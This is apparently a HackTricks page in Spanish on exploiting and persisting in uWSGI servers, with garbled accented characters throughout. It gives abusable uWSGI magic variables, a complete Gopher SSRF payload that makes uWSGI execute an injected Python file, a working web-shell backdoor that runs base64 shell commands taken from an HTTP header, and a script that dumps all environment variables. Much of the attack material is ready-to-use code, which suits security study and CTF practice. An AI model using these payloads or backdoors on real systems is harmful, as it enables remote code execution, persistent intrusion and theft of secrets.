WSGI Post-Exploitation Tricks

Reading time: 6 minutes

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Visi贸n general de WSGI

Web Server Gateway Interface (WSGI) es una especificaci贸n que describe c贸mo un servidor web se comunica con aplicaciones web, y c贸mo las aplicaciones web pueden encadenarse entre s铆 para procesar una solicitud. uWSGI es uno de los servidores WSGI m谩s populares, a menudo usado para servir aplicaciones web en Python.

Explotaci贸n de variables m谩gicas de uWSGI

uWSGI proporciona "variables m谩gicas" especiales que pueden usarse para configurar din谩micamente el comportamiento del servidor. Estas variables pueden establecerse mediante encabezados HTTP y pueden conducir a vulnerabilidades de seguridad graves si no se validan correctamente.

Variables explotables clave

UWSGI_FILE - Ejecuci贸n arbitraria de archivos

uwsgi_param UWSGI_FILE /path/to/python/file.py;

Esta variable permite cargar y ejecutar archivos Python arbitrarios como aplicaciones WSGI. Si un atacante puede controlar este par谩metro, puede lograr Remote Code Execution (RCE).

UWSGI_SCRIPT - Script Loading

uwsgi_param UWSGI_SCRIPT module.path:callable;
uwsgi_param SCRIPT_NAME /endpoint;

Carga un script especificado como una nueva aplicaci贸n. Combinado con capacidades de subida o escritura de archivos, esto puede llevar a RCE.

UWSGI_MODULE y UWSGI_CALLABLE - Carga din谩mica de m贸dulos

uwsgi_param UWSGI_MODULE malicious.module;
uwsgi_param UWSGI_CALLABLE evil_function;
uwsgi_param SCRIPT_NAME /backdoor;

Estos par谩metros permiten cargar m贸dulos de Python arbitrarios y llamar funciones espec铆ficas dentro de ellos.

UWSGI_SETENV - Manipulaci贸n de variables de entorno

uwsgi_param UWSGI_SETENV DJANGO_SETTINGS_MODULE=malicious.settings;

Se puede usar para modificar variables de entorno, potencialmente afectando el comportamiento de la aplicaci贸n o cargando configuraciones maliciosas.

UWSGI_PYHOME - Manipulaci贸n del entorno de Python

uwsgi_param UWSGI_PYHOME /path/to/malicious/venv;

Cambia el entorno virtual de Python, lo que puede cargar paquetes maliciosos o diferentes int茅rpretes de Python.

UWSGI_CHDIR - Directory Traversal

uwsgi_param UWSGI_CHDIR /etc/;

Cambia el directorio de trabajo antes de procesar las solicitudes, lo que puede usarse para ataques de path traversal.

SSRF + Gopher a

Vector de ataque

Cuando uWSGI es accesible v铆a SSRF (Server-Side Request Forgery), los atacantes pueden interactuar con el socket interno de uWSGI para explotar variables m谩gicas. Esto es especialmente peligroso cuando:

  1. La aplicaci贸n tiene vulnerabilidades SSRF
  2. uWSGI se est谩 ejecutando en un puerto/socket interno
  3. La aplicaci贸n no valida correctamente las variables m谩gicas

uWSGI es accesible debido a SSRF porque el archivo de configuraci贸n uwsgi.ini contiene: socket = 127.0.0.1:5000 lo que lo hace accesible desde la aplicaci贸n web a trav茅s de SSRF.

Ejemplo de explotaci贸n

Paso 1: Crear payload malicioso

Primero, inyecta c贸digo Python en un archivo accesible por el servidor (escritura de archivo dentro del servidor, la extensi贸n del archivo no importa):

python
# Payload injected into a JSON profile file
import os
os.system("/readflag > /app/profiles/result.json")

Paso 2: Preparar solicitud del protocolo uWSGI

Usa el protocolo Gopher para enviar paquetes uWSGI crudos:

gopher://127.0.0.1:5000/_%00%D2%00%00%0F%00SERVER_PROTOCOL%08%00HTTP/1.1%0E%00REQUEST_METHOD%03%00GET%09%00PATH_INFO%01%00/%0B%00REQUEST_URI%01%00/%0C%00QUERY_STRING%00%00%0B%00SERVER_NAME%00%00%09%00HTTP_HOST%0E%00127.0.0.1%3A5000%0A%00UWSGI_FILE%1D%00/app/profiles/malicious.json%0B%00SCRIPT_NAME%10%00/malicious.json

This payload:

  • Se conecta a uWSGI en el puerto 5000
  • Establece UWSGI_FILE para apuntar al archivo malicioso
  • Fuerza a uWSGI a cargar y ejecutar el c贸digo Python

Estructura del protocolo uWSGI

El protocolo uWSGI usa un formato binario en el que:

  • Las variables se codifican como cadenas prefijadas por su longitud
  • Cada variable tiene: [name_length][name][value_length][value]
  • El paquete comienza con un encabezado que contiene el tama帽o total

Post-Exploitation Techniques

1. Persistent Backdoors

File-based Backdoor

python
# backdoor.py
import subprocess
import base64

def application(environ, start_response):
cmd = environ.get('HTTP_X_CMD', '')
if cmd:
result = subprocess.run(base64.b64decode(cmd), shell=True, capture_output=True, text=True)
response = f"STDOUT: {result.stdout}\nSTDERR: {result.stderr}"
else:
response = "Backdoor active"

start_response('200 OK', [('Content-Type', 'text/plain')])
return [response.encode()]

Luego usa UWSGI_FILE para cargar este backdoor:

uwsgi_param UWSGI_FILE /tmp/backdoor.py;
uwsgi_param SCRIPT_NAME /admin;

Persistencia basada en variables de entorno

uwsgi_param UWSGI_SETENV PYTHONPATH=/tmp/malicious:/usr/lib/python3.8/site-packages;

2. Divulgaci贸n de Informaci贸n

Environment Variable Dumping

python
# env_dump.py
import os
import json

def application(environ, start_response):
env_data = {
'os_environ': dict(os.environ),
'wsgi_environ': dict(environ)
}

start_response('200 OK', [('Content-Type', 'application/json')])
return [json.dumps(env_data, indent=2).encode()]

Acceso al sistema de archivos

Usa UWSGI_CHDIR combinado con el servicio de archivos para acceder a archivos sensibles:

uwsgi_param UWSGI_CHDIR /etc/;
uwsgi_param UWSGI_FILE /app/file_server.py;

3. Escalada de Privilegios

Manipulaci贸n de sockets

Si uWSGI se ejecuta con privilegios elevados, los atacantes podr铆an manipular los permisos del socket:

uwsgi_param UWSGI_CHDIR /tmp;
uwsgi_param UWSGI_SETENV UWSGI_SOCKET_OWNER=www-data;

Sobrescritura de configuraci贸n

python
# malicious_config.py
import os

# Override uWSGI configuration
os.environ['UWSGI_MASTER'] = '1'
os.environ['UWSGI_PROCESSES'] = '1'
os.environ['UWSGI_CHEAPER'] = '1'

Referencias

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks